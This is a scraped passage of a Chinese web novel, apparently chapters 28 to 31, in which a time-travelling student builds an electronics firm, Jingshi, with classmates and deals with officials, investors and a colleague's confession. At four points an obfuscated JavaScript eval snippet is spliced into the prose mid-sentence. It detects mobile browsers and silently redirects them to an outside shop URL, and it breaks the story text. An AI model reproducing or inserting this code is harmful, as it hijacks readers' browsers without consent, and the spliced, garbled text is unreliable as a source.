创业这件事,在安玥看来是无数个这样普通的日子,一张张图纸,一批批零件,一笔笔账目,以及一群愿意相信这事能成的人。 第二年夏天。 六月初,省城已经热得人发昏。小楼没有风扇,李红英从校办工厂淘来两台报废的旧台扇,林知远拆开修了一下午,居然转起来了。风叶呼呼地吹,带着股机油味,但总比没有强。 王丽娟把账本翻到第三本。她拿铅笔在最新一页的末尾画了道横线,写下“累计出货量:4,200片”。 写完之后,她盯着那个数字看了好一会儿。 一年前这个时候,他们还在为第一批五十个机芯焦头烂额。 “丽娟,发什么呆呢?”李红英抱着一箱新到元件进来,额头上全是汗。 “没什么。”王丽娟回过神,赶紧翻过一页,“这月南华仪器厂的订单记了没?” “记了记了,三百片,后天发货。”李红英放下箱子,拿起搪瓷缸子灌水,“安玥呢?” “二楼,跟林师兄商量新方案。” “又商量?”李红英压低声音,但嗓门天生大,压也压不住,“这都第几个方案了?咱们机芯不是卖得好好的吗?赵老板那边单子都排到秋天了,上周又新来了个南方的客商,开口就要五百片试单……安玥到底在琢磨啥?” 王丽娟推了推眼镜,没回答。她也不知道安玥在琢磨什么,但她知道,安玥琢磨的事,最后都会成。 二楼。 安玥靠窗站着,面前摊着几张图纸。 林知远坐在那张旧行军床边,手里拿着块巴掌大的电路板,那是另一套完全不同的东西。上面集成的元件比机芯复杂一倍,屏也更大,占了将近三分之二的面积。 “这是第三版。”他把板子递给她,“功耗比上版降了百分之十二,响应速度提了将近一倍。成本……” 他顿了顿:“比机芯贵。” 安玥接过板子,翻来覆去地看。 屏幕亮着,显示的是一行功能菜单。她按下侧面的微动开关,菜单切换,从“秒表”跳到“倒计时”,又跳到“两地时间”。 这是他们去年底开始秘密推进的项目——一款多功能电子表模块。不仅是简单的看时间,它集成了秒表、倒计时、闹钟、日期、星期,甚至能设置两个不同时区的时间。 放在安玥穿越前的时代,这是小学生电子表的标配。但在旧历八十年代,市面上能买到的最好的电子表,顶多有个闹钟功能,秒表都是奢侈品。 “国内还没有同类产品。”安玥眼睛亮起来,“进口的有,日产的去年百货大楼进过一批,标价九十八块,半个月就卖光了。” 林知远知道她要说什么。 “我们如果能做到功能比它多,价格只有它一半……”安玥没有说后半句。 “外壳是个问题。”林知远指出关键,“机芯的外壳是配套厂现成的,这款的按键布局、液晶窗口位置都不一样,开模成本不低。” “先试小批量。”安玥已经想过这个问题,“外壳的事我来想办法。第一版不求完美。” 林知远点了点头,没有追问。 第一批多功能模块试产五十片,外壳是安玥托人从南方带的公模,尺寸不太匹配,需要用锉刀手动修边。 张秀兰修了三天,把修好的外壳码得整整齐齐。 “秀兰姐,你这手艺真是绝了。”陈卫国看着那一摞外壳,由衷感叹。 张秀兰红着脸,低下头继续干活。 第一批成品组装出来是六月底。安玥拿了十片寄给赵老板,十片寄给南方那位新客商,剩下三十片留在手里,没有急着推向市场。 李红英急得团团转:“安玥,东西做出来了为啥不卖?赵老板那边催了好几次了!” 安玥只说“再等等。”,具体等什么她没说。 七月中旬,赵老板的第二封信到了。 信里说,他把样品拿给好几个大买家看过,反应非常热烈。有个做出口贸易的公司当场就问能不能包销,有多少要多少。还有个人问他这表有没有牌子,能不能做定制包装。 信的末尾,赵老板写道:“此品若能量产,必成爆款。望速决。” 安玥把信递给林知远,他看完,又递给王丽娟。一屋子人传了一遍,最后回到安玥手里。 “安玥,”李红英憋不住了,“现在可以卖了吧?!” 安玥把信折好,放进抽屉。 “再等等。” 李红英差点背过气去。 七月底,温州客商的电报到了。 内容只有一行字:“首批订单,五千片。速复。” 安玥拿着那张电报纸站在小楼中央,所有人都看着她,这是他们迄今为止接过的最大单笔订单。 “安玥,”林知远开口问道:“你在等什么。” 安玥把电报纸放下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173288|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “在等……”她的嘴角慢慢弯起来,“等我们不用求着别人买,而是别人求着我们卖。” 她环顾四周,看着这一年来并肩走过来的大家,“现在等到了。” 小楼安静一瞬,接着李红英一把抱住王丽娟,王丽娟的眼镜被撞歪了也顾不上扶。陈卫国和吴建设击掌击得手心通红,张秀兰站在角落里,用袖子使劲蹭眼角。 系统面板亮了一下。 她用意念点开。 Z:“最近基地有新进展吗?” 安玥回复:“有。” 然后她删掉重新输入:“接了个大订单。” 接着又删掉了。 最后她只发了两个字: “快了。” Z的回复很快:“期待。” 安玥关掉系统,转过身。 “都平静一下。”她拍了拍手,“五千片,三个月交货,外壳要定制,功能要全检,人手不够——丽娟,重新排生产计划。红英姐,明天开始招临时工,优先咱们系贫困生。卫国、建设,测试台要加两张,你们俩负责搭。秀兰姐,外壳来料检验这块你带人盯。” 她一桩桩安排下去后,每个人都开始动起来。 她们加班加点,最后一批多功能模块封装完毕,抽检合格率98.7%,比合同要求的还高。 很快,第一笔回款到账。 王丽娟拿着银行汇款单,算了三遍才敢确认数字。 “安玥,”她有些激动,“扣掉成本、外壳开模费、临时工工资、奖金……咱们这个月净利润是……” 她报了个数字。 小楼里没人说话。 他们的货已经卖到了大半个中国。 “下个月开始,小楼该正经注册个名号了。”她斟酌着说:“不能再是什么什么小组了,要不我们改成‘精时电子’怎么样?。法人挂学校三产办,利润分成按之前定的章程走。” 她顿了顿。 “在场所有人,都是创始人。” 没人接话。 李红英别过脸,假装在看窗外的树。王丽娟低着头,手指在账本边沿反复摩挲。陈卫国和吴建设站得笔直,张秀兰拼命用袖子擦着眼角。 林知远坐在工作台边,手里还拿着块测试完的板子,什么都没说。 日子一晃到了九月初,开学季。 精时电子正式挂牌。场地还是那栋破礼堂,门口换上了新牌子,红底白字,刷了清漆,边角方正。 牌子挂上去那天,王主任亲自来了一趟。他在小楼里转了一圈,看那些规整的工作台、新添的测试设备、墙上贴的生产进度表,又看了那摞签满字的供货合同,最后目光落在安玥脸上。 “小安啊。”他开口,“你这一年多,不容易啊。” 安玥没说话,点了点头。 王主任没再说什么,拍了拍她的肩膀,走了。 傍晚,安玥独自站在二楼窗边。 视野边缘,系统面板亮了一下。 Z:“笔友111,今天有分享吗?” 安玥看着这行字。 窗外的夕阳把整个校园染成金红色。楼下,李红英在指挥搬新到的物料,陈卫国和吴建设在为某个测试参数争论不休,张秀兰轻声细语地劝架。 林知远坐在工作台边,面前摊着下一款产品的设计草图。 她打字:“今天基地挂牌了。有名字了。” Z:“叫什么?” 安玥嘴角微微翘起,回复:“精时。” Z:“什么意思?” 安玥想了想。 “精密的时间。也是精进的时间。” Z那边等了一会才回复:“好名字。” 安玥关掉系统,转身下楼。 楼下的灯光很亮,七八个人挤在不大的空间里,各有各的忙。 九月才刚刚开始,还有很多事要做。 29. 第 29 章 精时电子的订单像滚雪球一样,从每个月不断上涨。 小楼的空间被压榨到了极限。一楼摆满了工作台,二楼堆满了物料,连走廊都成了临时仓库。 李红英瘫在椅子上,哭丧着脸说:“这样下去真不行,安玥,咱们得找个更大的地方。这连转身都困难,万一出点啥事,跑都跑不出去。” 安玥正在看王丽娟刚送来的月度报表,闻言抬起头。 报表上的数字很漂亮。过去三个月,累计出货七千三百片。她默数了一下六位数的净利。去掉分给团队的钱,账上的流动资金已经够在省城买两套小院子还有剩。 她把报表放下,看向二楼方向。林知远正在上面调试新的测试设备,隐约能听见仪的蜂鸣声。 “是该找地方了。” 找地方比想象中顺利。 王主任听说他们的需求后,主动帮忙联系了校办工厂。校办工厂这几年效益不好,有几间车间闲置着,正愁没人接手。厂长老刘是个五十多岁的老师傅,当年也是从技术员干起来的,对小楼这群学生的本事早有耳闻。 “地方有的是。”老刘带着安玥去看车间,推开一扇锈迹斑斑的大铁门,“这三间连着的,以前做仪表装配用的,水电网都有,稍微收拾收拾就能用。就是……”他有些为难地看着安玥,“你们真是学生?要租这么大地方?” 安玥站在车间中央。阳光从高窗斜射进来,照亮空气中漂浮的灰尘。地面是水泥的,面积比小楼大五六倍。墙角堆着一些废弃的设备,但清理出来,足够摆下几十张工作台。 “刘厂长,我们是精时电子的。”她从包里拿出一份材料,是王丽娟熬夜整理的营业执照复印件、过去几个月的纳税证明、以及几份大额合同,“您先看看这个。” 老刘接过材料,一页页翻着。翻到纳税证明那页,他眼神变了。翻到合同那页,他抬起头。 “这是你们签的?” “是。” 老刘又看了她一眼,没再问什么。他合上材料,在车间里踱了两步,最后停在窗前。 “这三间车间,年租金八千。水电另算。”他说,“如果你们能一次性付清半年,我做个主,头三个月只收一半。” 安玥在心里快速计算。半年四千,加上收拾、添置设备的钱,完全在预算内。 “刘厂长,您给的这个价,我们很满意。”她迎上他的目光,“但我有个请求。” “你说。” “我们想以学校三产办的名义签这个租约,走学校账户。”安玥斟酌着说:“这样既符合规定,也能让校方看到,咱们学生创业,是可以给学校创造价值的。” 老刘盯着她看了好几秒,忽然笑了一声。 “小丫头,心眼不少。”他背着手往外走,走到门口又回头,“行,我跟上面汇报一下。下周给你准信。” 一周后,租约签下来了。 车间装修的那一个月,小楼里的白天正常上课,下了课搞生产,晚上全员上阵收拾新车间。 几个男生干重活,王丽娟负责记录每一笔支出,林知远负责所有技术相关的规划和设备调试。 十二月,新车间正式启用。 揭牌那天,王主任来了,校办工厂的刘厂长来了,连系主任都露了个面。他们在车间里转了一圈,看着规整的工作区、排列有序的测试设备、墙上贴的生产进度表,脸上都带着不同程度的惊讶。 “小安,这些东西……”系主任指着一台新购置的示波器,欲言又止。 安玥笑着解释:“都是我们自己攒的钱买的。这台是二手的,托人从南方带的,比新的便宜一半。” 系主任点点头,没再问。 揭牌仪式很简单,只是在门口钉了一块写着“精时电子制造车间”新牌子。 元旦那天,安玥请大家去国营饭店吃了一顿。十五个人,坐了满满两桌。 李红英灌了半斤白酒,拉着王丽娟说话。陈卫国和吴建设抢着买单,张秀兰喝着汽水,窝在角落里傻笑。 林知远坐在靠窗的位置,看着窗外,面前摆着一杯没怎么动过的酒,不知在想什么。 安玥端着杯子走过去,在他旁边坐下。 “想什么呢?” 林知远收回目光,低头看了看杯子里的酒,没回答。 安玥也不追问。她靠着椅背,望着天花板上的灯。 “在想,”林知远忽然开口,声音很轻,“下一步怎么办。” 安玥回过神,转头看他。 “订单还会涨。现有产品最多撑到明年年中,就会有跟风者。到时候,利润会被压缩。” 安玥点了点头。她也在想这个问题。机芯的技术门槛说高不高,精时能领先半年到一年,已经很难得。要想长久立足,必须不断推出新产品。 “你有什么想法?”她问。 “有。但需要时间,需要钱,还需要……”林知远顿了顿,“一些特殊的东西。” 安玥明白他说的“特殊的东西”是什么,未来的技术,或者是未来的材料。 “钱和时间,我们有。”她说,“特殊的东西你负责。其他的我来想办法。” 林知远看着她,什么都没说。 安玥举起杯子,对着林知远晃了晃。 林知远拿起杯子,和她碰了一下。 玻璃杯相撞,发出一声脆响。 一月份,精时电子收到了第一笔来自省外的大额订单,来自一个从来没听说过的地方,汇款单上的金额后面跟着好几个零。 王丽娟捧着那张汇款单,手抖了半天。 “安玥,”她的声音有点飘,“这、这是不是印错了?” 安玥接过来看了一眼,面不改色地递回去。 “没印错。存银行吧。” 王丽娟愣愣地看着她,半天憋出一句:“你……你不激动吗?” “激动。”安玥笑着说,“但是再激动也得先把活儿干了。” * 精时电子在省城的小圈子里,渐渐有了些名气。 系里的老师开始主动找安玥聊天,问她有什么需要帮助的。学校领导来视察过两次,每次都带着不同的人,说是“学习学生创业经验”。甚至有个省报的记者来采访过,写了一篇千字的小通讯,标题是《一个女大学生的创业路》。 两个月后,学校发了份文件。标题很长,大致内容是同意精时电子以“校办产学研试点”的名义,继续租用校办工厂车间,并享受校办企业相关优惠政策,文件末尾盖着公章。 李红英拿着那份文件,翻来覆去看了三遍。 “安玥,”她抬起头,眼睛瞪得溜圆,“这是不是说明,咱们现在算是正式的校办厂了?” 安玥从她手里拿过文件,折好,放进抽屉。 “算是。”她站起来,走到窗边。 车间里机器声嗡嗡地响,工作台边,十几个人正在埋头干活,有人抬头冲她笑了笑,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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暑假的时候,省里举办首届大学生科技发明竞赛。 学校推荐了三个项目,精时的“随身信使”排在第一个。 安玥带着样品去了省城展览馆。展台很小,只有一张桌子,上面摆着几套样品和几张手绘的说明图。旁边是几个大学的大展台,各种高大上的设备、精致的模型、印刷精美的宣传册,显得她的展台格外寒酸。 第一天,几乎没人来看。 第二天,有个戴眼镜的中年男人在展台前停下来,拿起样品端详了很久。他问了几个问题,安玥一一回答。临走时,他要了一张安玥的名片,那名片是临时手写的,上面只有名字和联系方式。 第三天,那个男人又来了。这次他带来了两个人,穿着比展览馆里大多数人讲究。他们围在展台前,低声讨论着什么,偶尔抬头问安玥一些问题。 安玥不知道他们是谁,只是如实回答。 第四天,颁奖典礼。 安玥坐在台下,看着一个个项目上台领奖。三等奖、二等奖……她没抱太大希望,只是安静地坐着。 “一等奖,获得者——” 台上的主持人顿了顿,低头看了看手里的卡片,抬起头,目光扫过台下。 “省城大学,精时电子团队。项目名称:随身信使。主要完成人:安玥、陆恒。” 30. 第 30 章 安玥愣住了。 旁边的带队老师推了她一把:“愣着干嘛?上去啊!” 她站起来走上台。聚光灯打在脸上有些刺眼。她接过证书,听着台下的掌声。 证书上面印着公章和一行烫金的字:“第一届全省大学生科技发明竞赛一等奖”。 那天晚上,安玥坐在回学校的车上,手里一直握着那份证书。 夜色里,省城的灯火渐次后退。 一年前,她蜷缩在那间破屋里,对着系统七十二小时的倒计时发呆。 现在她坐在车上,手里攥着证书,兜里揣着刚刚组委会的通知——这个项目被推荐参加“全国大学生科技创新成果展”的通知函。 从省城领奖回来之后,日子突然变得热闹起来。 先是学校里的变化。 以前安玥走在校园里,认识她的人顶多点个头。现在不一样了,走到哪都有人主动打招呼,连食堂阿姨打菜时给的量明显比别的学生多。甚至有她不认识的同学凑过来问她还招不招人。 系主任在专业课上当众提了她的名字,下课后几个平时不怎么说话的同班女生围过来,问她能不能去车间参观。连辅导员找她谈话的语气都变了。以前是“安玥你要注意学习啊”,现在是“安玥你有什么困难尽管说,系里能帮的一定帮”。 李红英私下跟王丽娟嘀咕:“这些人以前怎么不见这么热情?” 王丽娟默默在她的账本里,新增了一页“接待来访”的支出明细。 省里推荐上去之后,她本来没抱太大希望。全国级别的展会,参展项目成百上千,精时一个校办小厂,能挤进去就算不错了。 结果通知下来那天,王主任亲自跑来车间找她。 “小安!”他推门进来时脸上带着笑,手里扬着一个大信封,“好事!天大的好事!” 安玥接过信封拆开,里面是一份正式的文件和一张邀请函。 “随身信使”项目入选全国大学生科技创新成果展,并获评“优秀参展项目”。 下面还有一行小字:“组委会拟推荐至相关部委,作为大学生科技成果转化典型案例。” 安玥看着那几行字,愣了好几秒。 王主任在旁边拍着她的肩膀,说了些什么她已经听不太清。 车间里其他人围过来庆贺,安玥把那份文件折好,放进口袋。 转眼到了大三那年的秋天,省城下了好几场雨。 精时电子的车间里依旧忙碌,订单稳定增长,新产品“随身信使”的小批量试制也在进行。 十月底,第一批客人到了。 是三个穿中山装的中年男人,自称是省科技厅的。他们在车间里转了一个多小时,看设备、看流程、看产品,问了很多问题。安玥一一回答,有些问题回答不了,林知远就站出来补充。 临走时,为首的那个人握着安玥的手,说了几句话。话的内容很官方,大意是“希望你们继续努力,有困难找组织”。但安玥注意到,他走之前又多看了那块“随身信使”的样品一眼。 第二批客人来得更快。 十一月中旬,两辆吉普车停在车间门口。下来的人穿着比之前那批更讲究,说话也更直接。为首那个自称姓周,是省里某个部门的工作人员,说话带着点南方口音。 “安玥同学,你们这个‘随身信使’,有考虑过量产吗?” 安玥给他倒了杯茶:“我们已经在量产了。” “我说的是……”周同志斟酌措辞,“更大规模的量产。比如说,和国营厂合作,推向全国市场。” 车间里安静了一瞬。 安玥抬头看他,目光平静:“周同志,您具体指的是什么?” 周同志笑了笑,没有直接回答。他从公文包里拿出一份文件,放在桌上。 “你们先看看这个。有意向的话,可以联系我们。” 文件上印着几个大字:“全省科技成果转化重点项目扶持计划”。 下面还有一行小字:“重点支持项目,可获专项资金及政策扶持”。 安玥翻开文件,密密麻麻的文字,她一眼扫过去,看到几个关键词:资金、土地、税收优惠、人才引进。 她合上文件,抬起头。 “周同志,我们需要时间研究一下。” “当然。”周同志站起来,伸出手,“等你们的好消息。” 送走他们之后,车间里半天没人说话。 李红英第一个打破沉默:“安玥,这是什么意思?他们要给我们钱?” “不是给。”安玥把文件递给王丽娟,“是投资,或者说是扶持。” “那不是好事吗?”陈卫国挠着头,“咱们正缺钱扩大规模呢。” 安玥没有回答。她看向林知远。 林知远看着安玥,问道:“你想接吗?” 安玥沉默了一会儿。 “想。但不是现在。” 时光流逝,类似的来访越来越多。 有省里的,有市里的,甚至还有从首都来的。有搞技术的,有搞投资的,有搞政策的。每个人说的话都差不多:你们的东西有前景,我们愿意支持,条件可以谈。 王丽娟的账本上的接待费涨得很快,每天都有陌生人来车间参观学习。陈卫国和吴建设被问得最多。 林知远几乎不在陌生人面前出现了。每次有人来,他就躲到二楼那间堆物料的小仓库里,直到人走才下来。安玥有几次上去找他,都看见他坐在那堆纸箱中间,手里拿着本书,或者什么都不做,只是发呆。 她知道他在想什么。 那些未来的知识,那些不能说的秘密压在他心上。 十二月底,省里发了关于表彰全省优秀大学生创业者及科技成果转化先进个人的红头文件。 安玥的名字出现在第一页,后面跟着一行字:“特授予全省大学生科技创业标兵荣誉称号。 证书送来那天,王主任亲自带着几个系里的老师来道贺。他们说了一堆话,安玥没太听进去,只是点头应付。等人走完,她一个人坐在车间办公室,手里拿着那张烫金的证书,看了很久。 系统面板亮了一下。 她点开。 Z:“最近你们那边似乎很热闹。” 安玥看着这行字,沉默了几秒。 她打字:“你怎么知道?” Z的回复很快:“你的分享变少了。之前每周都有,现在两周才一次。说明你那边有事。” 安玥愣了一下,这家伙观察还挺细。 她打字:“是有点事。基地在扩张,有点忙。” Z:“好事。扩张说明有价值。” 安玥:“可能吧。” 她又加了一句:“有时候太快了,反而有点不真实。” Z那边等了一阵子才回复:“慢慢来。” 安玥关掉系统,把那张证书放进抽屉里,然后靠在椅背上,闭上眼睛。 太快了。 快得她有时候会恍惚,怀疑自己是不是在做梦,但她睁开眼,眼前是一片真实。 大四那年春天,事情终于有了突破性进展。 随身信使的第二代样品出来了。 比第一代小了一圈,屏大了一点,待机时间从半天延长到一整天。最关键的是,林知远解决了信号接收的稳定性问题,有效距离扩大到整个校园。 “如果换成更好的元件,还能再远。”他说话时语气很平静,“但这个时代能买到的最好的,也就这样了。” 安玥拿着那块样品,翻来覆去地看。 “够用了。”她说。 三月,省里来了一队人。这次带队的是个姓郑的副厅长。 他们在车间里待了整整一天。 傍晚,郑副厅长把安玥叫到一边。 “小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183966|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安同学,你们这个东西,有没有想过做到什么程度?” 安玥想了想,说:“能让更多人用上。” 郑副厅长笑了,笑得很温和。 “好。”他说,“那我给你透个底。省里正在筹划一个科技成果转化示范区,专门支持你们这样的项目。如果你们愿意,可以第一批入驻。政策优惠,资金扶持,还能对接全国市场。” 他看着安玥的眼睛,“你们好好考虑一下。” 晚上,安玥躺在床上,脑子里反复转着郑副厅长的话,她有些不敢相信。 但另一个念头也在转:如果错过这个机会,可能再也没有了。 第二天一早,她把所有人叫到一起说了这件事。 车间里安静了很久。 李红英第一个开口:“安玥,你说怎么办,我们就怎么办。” 王丽娟推了推眼镜:“账上的钱够支撑半年扩张。如果加上扶持资金,还能撑更久。” 陈卫国和吴建设对视一眼,同时点头:“我们跟着安玥走。” 张秀兰没说话,只是看着安玥,目光坚定。 安玥看向二楼方向。 林知远不知什么时候下来了,靠在楼梯口,手里还拿着块测试板。 “你呢?”安玥问。 “你决定。”林知远说。 “那就接。” 那年夏天,精时电子搬进了示范区。 新厂房比老车间大三倍,门口挂着崭新的牌子,院子里停着几辆大货车。工人从十几个人增加到上百人,生产线从一条变成很多条。王丽娟的账本换了好几本,李红英后勤上的活更多了,陈卫国和吴建设各自带了徒弟,张秀兰负责的装配组扩大到百八十人。 林知远有了自己的实验室。安玥给他配了张床,他偶尔不回去,就睡在那里。 随身信使的第三代在秋天定型。省里来人验收时,郑副厅长亲自试用了一整天,走的时候拍着安玥的肩膀说:“好,真好。” 年底,省里开了个表彰大会。 安玥站在领奖台上,手里捧着“全省科技成果转化突出贡献奖”的奖杯。台下是黑压压的人群,闪光灯噼里啪啦地响。有人让她说几句话,她想了半天,只说了句:“谢谢大家,我们会继续努力。” 下台之后,李红英在后台等她,眼眶红红的。 “安玥,你咋只说那么短?” 安玥想了想,说:“不知道说什么。” 李红英白了她一眼,然后一把抱住她。 “行了行了,啥也不用说了。” 终于到了毕业季。 李红英那段时间特别焦虑,总念叨:“咱们要是毕业了,精时怎么办?” 安玥被她念叨得头疼,专门开了个会。 “就算毕业了,想留下的可以留下。精时已经注册了,可以签正式合同。想去别处的,也随时可以走,精时永远欢迎你们回来。” “我不走。”李红英第一个表态。 “我也不走。”王丽娟推了推眼镜。 陈卫国和吴建设对视一眼,同时点头:“跟着安玥干。” 张秀兰看着安玥坚定地说:“我也留下” 。 安玥看着这群人,沉默了几秒。 “那就都留下。”她说,“但前提是,毕业设计都得过,论文都得写。谁挂了我可不收。” 众人大笑。 毕业典礼那天,精时的所有人穿着学士服,在车间门口拍了一张合照。 安玥站在中间,手里捧着优秀毕业生的证书。 林知远站在人群最边上,一如既往地没什么表情。 镜头定格的那一瞬间,安玥忽然想起刚穿来时的情景,现在她站在这里,身边是一群一起走过四年的人。 “来,再拍一张!”拍照人员举起相机。 所有人重新站好,对着镜头露出不同的笑。 31. 第 31 章 毕业典礼结束后的第三天,精时电子的车间里恢复了往日的忙碌。 但安玥感觉有些事情不一样了。她不再是“安玥同学”,而是“安厂长”。虽然大家还是习惯叫她名字,但偶尔有新人喊“安厂长”时,她会愣一下,然后才反应过来是在叫自己。 以前有学校兜底,有老师撑腰,现在全得靠自己。精时的营业执照上,法人代表那一栏写着她的名字,红彤彤的章盖在上面,像一块沉甸甸的石头。 毕业后的第一个月,安玥几乎没睡过一个整觉。 白天处理订单、接待客户、协调生产。晚上算账、做计划、研究下一步。王丽娟说她瘦了一圈,李红英天天盯着她吃饭。 林知远还是老样子,整天泡在他的小实验室里。随身信使的第四代改进方案已经画完了,他在琢磨一个更大胆的东西,安玥只看了个开头,没敢往下想。那东西太超前了,超前到连她这个穿越者都觉得有点慌。 但林知远说,不急。先放着,等时机成熟。 七月的一个傍晚,车间收工后,安玥一个人坐在二楼窗边。 窗外的夕阳把整个厂区染成橙红色默默,她已经很久没有这样静静地看着外面了。 “安玥。” 身后传来脚步声。 她没回头:“林师兄?今天怎么没在实验室?” 林知远走到她旁边,和她并排站着,望向窗外。 沉默了一会儿。 “精时的合同,”他的声音比平时低,“我签了。” 安玥转头看他。 合同的事她提过,但没催。林知远不是普通员工,他的去留,她不想勉强,更何况现在的世界规则似乎已经接受了他和她。 “签了几年?”她问。 “五年。” 安玥挑了挑眉,比她想得久。 “想好了?” 林知远没有立刻回答,他转过头看着她。 夕阳的光打在他的脸上,他的眼睛里面有什么东西,安玥看不太清。 “安玥,”他说,声音很轻,“你知道我为什么留下吗?” 安玥心里咯噔一下。 她当然知道。她隐约猜到过,只是一直没往那方面想。 林知远看着她,没有移开目光。那目光里不再是平日里的疏离和冷静,那是一种更深的、压了很久的情绪。 “我……”他开口。 “林师兄,”安玥打断了他,“我知道你想说什么。” 林知远顿住了。 安玥转过身,背靠着窗台望着他。夕阳的余晖在她脸上投下明明暗暗的光影,她的表情在林知远看来不太真切。 “你是从什么时候开始的?”她问。 林知远沉默了几秒:“……很早。” “多早?” “你来找我还笔记本那天。” 安玥愣了一下。那是什么时候?大一?快四年了。 她轻轻叹了口气,“林师兄,咱们是一起从最难的时候走过来的。精时能有今天,你功不可没。这些我都记着。” “但是……” 她没说完,但林知远已经懂了。 他没有说话,只是垂下眼,望着窗台某处。夕阳的阴影把他的表情遮去了大半。 沉默持续了很久。 “是因为那个人吗?”林知远忽然问。 安玥一愣:“哪个人?” “那个……”林知远似乎在斟酌措辞,“那个在系统里一直给你发消息的人。” 安玥的呼吸停了一瞬。 她没想到林知远会知道这个。 “我猜的。”林知远的声音很平静,“你有时候看着空气发呆,然后嘴角弯一下。次数多了,总能猜到。” 安玥没有否认。 她想起Z。想起那些隔着百年时空的对话,想起那些平淡但偶尔会让她愣一下的消息。 他们没见过面。永远不可能见面。 “不是因为他。”安玥的声音很平静,“是因为我不适合。” 林知远看着她,没有说话。 “林师兄,”安玥迎上他的目光,“你是天才,是精时的灵魂。咱们能走到今天,一半靠你,但这和别的没关系。” 她顿了顿。 “你值得一个更好的人。” 林知远沉默了一下。 然后他忽然笑了一下,带着一点自嘲。 “你倒是会拒绝人。”他说。 安玥也笑了:“练出来的。” 两人站在窗边,望着外面渐浓的夜色。 “以后还能叫你林师兄吗?”安玥问。 “随你。” “那以后还一起干活吗?” 林知远转头看了她一眼,那眼神里有一瞬间的复杂,但很快就恢复了往日的平静。 “合同签了五年。”他说,“你说呢?” 安玥弯了弯嘴角。 “那就好。” 那天晚上,安玥躺在床上,很久没睡着。 她想起林知远刚才的眼神。那种克制着的情绪,她不是第一次见。前世见过,这辈子也见过。每一次她都知道该怎么做:装作没看见,然后悄悄拉开距离。 只是这次的距离,好像不太好拉。 安玥她翻了个身,望着窗外透进来的月光。 系统面板亮了一下,她点开。 Z:“最近基地怎么样?” 安玥看着这行字,沉默了几秒。 她打字:“还好。刚处理完一件内部的事。” Z:“顺利吗?” 安玥想了想。 她打字:“顺利,该说清楚的都说清楚了。” Z那边沉默了一会儿。 然后他回复:“那就好。” 那年秋天,精时电子接到了一个意想不到的访客。 是省里科技厅的人,但和以前来的人不太一样。这次来的不是官员,是一个自称“顾问”的中年男人,姓周,说话带着点南方口音。 “安厂长,”他在车间里转了一圈后,坐在安玥的办公室里,开门见山地说:“你们的产品我看了,很有想法。但有没有想过做到更大?” 安玥给他倒了杯茶:“周顾问说的是多大?” “全国。”周顾问接过茶杯,没有喝,只是捧在手里,“甚至出口。” 安玥挑了挑眉。 “省里有这个计划?” “不是省里。”周顾问笑了笑,“是有投资方感兴趣。非常感兴趣。” 安玥心里动了动,面上不动声色:“能问一下是哪家吗?” 周顾问放下茶杯,从公文包里拿出一份文件,放在桌上。 文件很薄,只有几页。封面上的字很简洁:“时域资本投资意向书”。 安玥翻开,快速扫了一遍。 大意很简单:时域资本有意向注资精时电子,支持其扩大生产、研发新产品、开拓全国市场。注资金额那一栏,空着,写着“面议”两个字。 “时域资本?”安玥抬起头,“没听说过。” “很正常。”周顾问笑了笑,“他们刚进入内地不久,总部在……嗯,在海外。但实力很强,背景也干净。省里做过背调,没问题。” 安玥把文件合上,没有表态。 “安厂长,”周顾问站起来,“我知道这对你来说是大事,不急。你们先内部讨论一下,有想法随时联系我。” 他留下名片走了。 安玥坐在办公室里,盯着那份文件看了很久。 海外资本、刚进入内地、背景干净但没听说过……这些词放在一起,总让她觉得有点怪。 但她没有拒绝的理由。 精时确实需要钱。随身信使的第四代改进需要新的生产线,林知远那个“更大胆的东西”更需要大量的研发投入。靠现有的积累,撑不了多久。 她把文件收进抽屉,决定再等等看。 但她没想到的是,等的时间远比她想的短。 一周后,周顾问又来了。 这次他不是一个人来的。 他身后跟着一个年轻男人,穿着深灰色的西装,衬衫雪白,没有打领带。个子很高,眉目清俊,站在那里不说话,就让人很难忽略他的存在。 “安厂长,”周顾问笑着介绍,“这位是时域资本的程先生,程则。他想亲自和您聊聊。” 安玥站起身,伸出手:“程先生,幸会。” 程则握住她的手,力道很轻,时间很短。 “安厂长,久仰。” 安玥请他坐下,重新泡了茶。 程则接过茶杯,没有喝,只是放在桌上。他的目光在办公室里转了一圈,最后落在墙上那张随身信使的展板上。 “随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 